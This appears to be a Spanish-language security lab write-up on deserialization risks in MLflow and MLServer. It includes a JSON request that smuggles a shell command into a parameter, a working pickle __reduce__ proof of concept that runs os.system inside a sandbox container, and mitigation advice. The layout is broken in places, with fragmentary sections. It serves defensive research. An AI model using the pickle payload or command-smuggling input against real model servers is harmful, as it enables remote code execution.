Entorno de investigación y scripts de validación para evaluar comportamientos de deserialización en MLflow y MLServer.
Un informe de investigación de seguridad exhaustivo que detalla la verificación, los mecanismos subyacentes y las vulnerabilidades arquitectónicas asociadas con los pipelines de carga de modelos no confiables dentro de mlflow==2.11.1 y mlserver==1.3.5.
| Métrica | Detalles |
|---|
| ID de Vulnerabilidad | CVE-2026-0596 / GHSA-rvhj-8chj-8v3c |
| Debilidad Común | CWE-78: Neutralización Incorrecta de Elementos Especiales utilizados en un Comando del Sistema Operativo ('Inyección de Comandos del SO') |
| Puntuación Base CVSS v3.1 | 9.6 CRÍTICO (CNA: huntr.dev) / 7.8 ALTO (NVD) |
| Vector de Impacto | Red Adyacente, Complejidad Baja, Sin Privilegios Requeridos, Sin Interacción del Usuario |
| Ecosistema Afectado | mlflow/mlflow (Todas las arquitecturas heredadas que sirven mediante enable_mlserver=True) |
MLflow cuenta con una integración con MLServer de Seldon para manejar el servicio de modelos de alto rendimiento y nivel empresarial. Al iniciar un servidor de modelos a través de la interfaz de línea de comandos o la API del servidor de seguimiento, los desarrolladores utilizan el parámetro de configuración:
enable_mlserver = True
## 📋 Resumen Ejecutivo
Este entorno de laboratorio evalúa el comportamiento en tiempo de ejecución de los frameworks de servicio de modelos de aprendizaje automático al analizar parámetros de entrada proporcionados por el usuario y metadatos de artefactos. Si bien los límites de análisis de parámetros orientados a la API de MLServer aíslan limpiamente las cadenas literales sin procesar (evitando la inyección tradicional de comandos del sistema operativo a través de metacaracteres de shell), el runtime subyacente de Python sigue siendo estructuralmente vulnerable a la **Deserialización Insegura** al ingerir flujos de objetos serializados heredados (`.pkl` / `pickle`).
* **Tipo de Vulnerabilidad:** Deserialización Insegura (CWE-502) / Ejecución de Código Arbitrario
* **Impacto:** Crítico (Ejecución Remota de Código dentro del Contexto del Contenedor)
* **Componentes Afectados:** Ingestión de modelos, subsistemas de descarga de artefactos y backends de predicción basados en `pickle`.
---
## 🛠️ Arquitectura del Laboratorio y Configuración
El entorno de reproducción está contenedorizado usando Docker para aislar la capa del sistema operativo y simular un endpoint de modelo de aprendizaje automático de grado de producción.
### 1. Configuración del Entorno Docker (`Dockerfile`)
```dockerfile
FROM python:3.10-slim
WORKDIR /app
# Install native system binaries
RUN apt-get update && apt-get install -y \
curl \
build-essential \
&& rm -rf /var/lib/apt/lists/*
# Pin specific framework versions for target tracking
RUN pip install --no-cache-dir \
mlflow==2.11.1 \
mlserver==1.3.5 \
mlserver-mlflow==1.3.5
# Generate localized model configuration footprint
COPY generate_model.py /app/generate_model.py
RUN python /app/generate_model.py
EXPOSE 5000
generate_model.py)import mlflow
import mlflow.pyfunc
import os
class DummyModel(mlflow.pyfunc.PythonModel):
def predict(self, context, model_input):
return model_input
if __name__ == "__main__":
model_path = "/app/saved_model"
if not os.path.exists(model_path):
mlflow.pyfunc.save_model(path=model_path, python_model=DummyModel())
La prueba inicial intentó pasar secuencias de carga útil de terminación de shell (; touch /tmp/poc_success_marker.txt #) a través del array de carga útil params del endpoint REST /invocations:
{
"dataframe_split": {
"columns": ["machine_input"],
"data": [["test_data"]]
},
"params": {
"custom_runtime_param": "default_runtime; touch /tmp/poc_success_marker.txt #"
}
}
Resultado: Negativo. El framework trató la carga útil de manera segura como un literal de cadena absoluto y no evaluado. Esto confirma que el motor abstrae las variables de entrada directamente en espacios de memoria de Python en lugar de sintetizar dinámicamente argumentos de shell del sistema a través de un envoltorio de comando sin procesar.
Debido a que MLflow y MLServer ingieren objetos compilados de Python, el riesgo central se desplaza de la evaluación de cadenas a la reconstrucción del grafo de objetos. Usando un script de validación personalizado, se incrustó un disparador de ejecución directamente en un flujo de modelo simulado utilizando el método de optimización mágica nativa de Python (__reduce__).
trigger_native.py)import os
import pickle
class ExploitModel:
def __reduce__(self):
# The __reduce__ method defines object reconstruction behaviors.
# Returning os.system forces immediate runtime command execution during loading.
return (os.system, ("touch /tmp/native_success_marker.txt",))
if __name__ == "__main__":
payload_path = "vulnerable_model.pkl"
# Serialize the code execution payload into a pseudo-model file
with open(payload_path, "wb") as f:
pickle.dump(ExploitModel(), f)
# Simulate an application or model server unpickling the artifact
with open(payload_path, "rb") as f:
pickle.load(f)
El script se inyectó en el entorno aislado del contenedor para imitar la secuencia de carga del backend:
# Stage execution payload inside the sandbox
docker cp trigger_native.py mlflow_sandbox:/app/trigger_native.py
# Execute the deserialization routine
docker exec -it mlflow_sandbox python /app/trigger_native.py
La consulta del directorio temporal aislado del contenedor confirmó que la ejecución de código arbitrario ocurrió instantáneamente durante el bucle de asignación de objetos:
PS C:\Users\Sparsh Biswas\mlflow-security-lab> docker exec -it mlflow_sandbox ls -la /tmp/
total 8
drwxrwxrwt 1 root root 4096 May 18 10:31 .
drwxr-xr-x 1 root root 4096 May 18 10:31 ..
-rw-r--r-- 1 root root 0 May 18 10:31 native_success_marker.txt
El problema surge de la confianza implícita en la capa de almacenamiento de artefactos del modelo. Los archivos .pkl / pickle estándar de Python no actúan meramente como registros de configuración planos; contienen instrucciones secuenciales de bytecode destinadas a reconstruir propiedades de objetos anidados.
Cuando pickle.load() analiza el conjunto de datos, prioriza el flujo de instrucciones dado por el gancho __reduce__. Esto redirige la aplicación objetivo a llamar a binarios nativos del sistema (os.system) directamente en el entorno de shell antes de que se inicialicen la validación del tipo de dato o los cálculos de inferencia de aprendizaje automático.
Desaprobar el uso de capas de serialización heredadas (pickle, joblib, marshal) en todos los pipelines de entrenamiento e implementación. Reemplazarlas con restricciones estructurales solo de datos:
Si su pipeline requiere estrictamente configuraciones de modelo heredadas:
USER 10001).cap_drop: [ALL]) y aislar el pod de redes que contengan endpoints de metadatos sensibles.